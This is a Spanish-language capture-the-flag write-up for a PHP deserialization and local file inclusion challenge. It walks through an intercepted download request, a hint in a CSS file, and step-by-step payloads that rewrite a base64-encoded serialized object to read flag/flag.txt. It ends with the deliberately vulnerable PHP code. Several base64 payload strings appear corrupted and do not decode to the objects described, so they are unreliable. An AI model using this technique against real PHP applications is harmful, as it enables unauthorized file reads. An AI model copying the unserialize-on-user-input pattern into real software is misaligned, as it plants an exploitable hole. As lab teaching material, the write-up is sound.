

# Deserialization/LFI - Web 200

El reto combina la deserialización con local file inclusion (LFI) y es recomendable proporcionar el código de la aplicación para una mejor comprensión de las vulnerabilidades.

Al ingresar al reto el usuario verá una pequeña galería, la cual ofrece una opción de descarga; dicha funcionalidad se basa en la codificación en base64 de un objeto serializado. El objetivo es decodificar y modificar el objeto serializado para poder obtener la bandera.



Al seleccionar una imagen y dar clic en *descargar* se genera la siguiente petición POST:

```

1 POST /download.php HTTP/1.1
2 Host: localhost:3005
3 Content-Length: 153
4 Cache-Control: max-age=0
5 sec-ch-ua: "(Not(A:Brand);v="8", "Chromium";v="99"
6 sec-ch-ua-mobile: ?0
7 sec-ch-ua-platform: "Linux"
8 Upgrade-Insecure-Requests: 1
9 Origin: http://localhost:3005
10 Content-Type: application/x-www-form-urlencoded
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
12 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-User: ?1
16 Sec-Fetch-Dest: document
17 Referer: http://localhost:3005/
18 Accept-Encoding: gzip, deflate
19 Accept-Language: es-419,es;q=0.9
20 Connection: close
21
22 image_path=
  TzoxNDoiRG93bmVvYWRfSW1hZ2UiOjI6e3M6NDoiGF0aCI7czoyODoiYVcxaFoyVnpMMmx0WVdkbFh6VXVhbkJsWnc9PSI7czo5OiJvcGVyYXRpb24iO3M6ODoiRG93bmVvYWQiO30%3D

```

Como puede observarse el valor del parámetro `image_path` se encuentra codificado, al seleccionarlo en Burp Suite el usuario puede darse cuenta fácilmente del tipo de codificación y el contenido de ésta.



El objeto serializado se hace evidente, aunque el path se encuentra a su vez en base64, traduciéndose como `images/image_5.jpeg`, la bandera debe obtenerse en `flag/flag.txt` como puede observarse a modo de pista en el archivo de estilo CSS, por lo que en la solución propuesta para resolver el reto sólo es necesario serializar con este nuevo path y codificar a base 64.

← → ↻ ⓘ localhost:3005/styles.css

```
/* La bandera esta en flag/flag.txt */  
  
body {  
  font-family: 'Share Tech', sans-serif;  
  font-size: 2em;  
  color: white;  
  justify-content: center;  
  align-items: center;  
  margin: 0;
```

← → ↻ ⓘ localhost:3005/flag/flag.txt/

# Forbidden

You don't have permission to access this resource.

---

*Apache/2.4.52 (Ubuntu) Server at localhost Port 3005*

Payloads:

## 1) Codificar path

flag/flag.txt: ZmxhZy9mbGFnLnR4dA==

## 2) Modificar objeto serializado

O:14:"Download\_Image":2:{s:4:"path";s:20:"ZmxhZy9mbGFnLnR4dA==";s:9:"operation";s:8:"Download";}

## 3) Codificar a base64

TzoxNDoiRG93bmxvYWVYfSW1hZ2UiOjI6e3M6NDoiGF0aCi7czoyMDoiWm14aFp5OW1iR0ZuTG5SNGRBPT0iO3M6OT0ib3BlcmF0aW9uljtzOjg6IkRvd25sb2Fkljt9

Al modificar exitosamente el objeto se obtiene la bandera.



## Código para ofrecer al usuario

```
<?php

class Download_Image {
    public $path;
    public $operation;
    function __wakeup() {
        $image_path=base64_decode($this->path);
        if(file_exists($image_path) && $this->operation == "Download") {
            header('Content-Description: File Transfer');
            header('Content-Type: image/jpeg');
            header('Content-Disposition: attachment;
filename="'.basename($image_path).'"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($image_path));
            flush();
            readfile($image_path);
        } else {
            http_response_code(404);
```

```
        echo "<br>File not found!";
    }
}

$obj_image=base64_decode($_POST['image_path']);
$get_image=unserialize($obj_image);
?>
```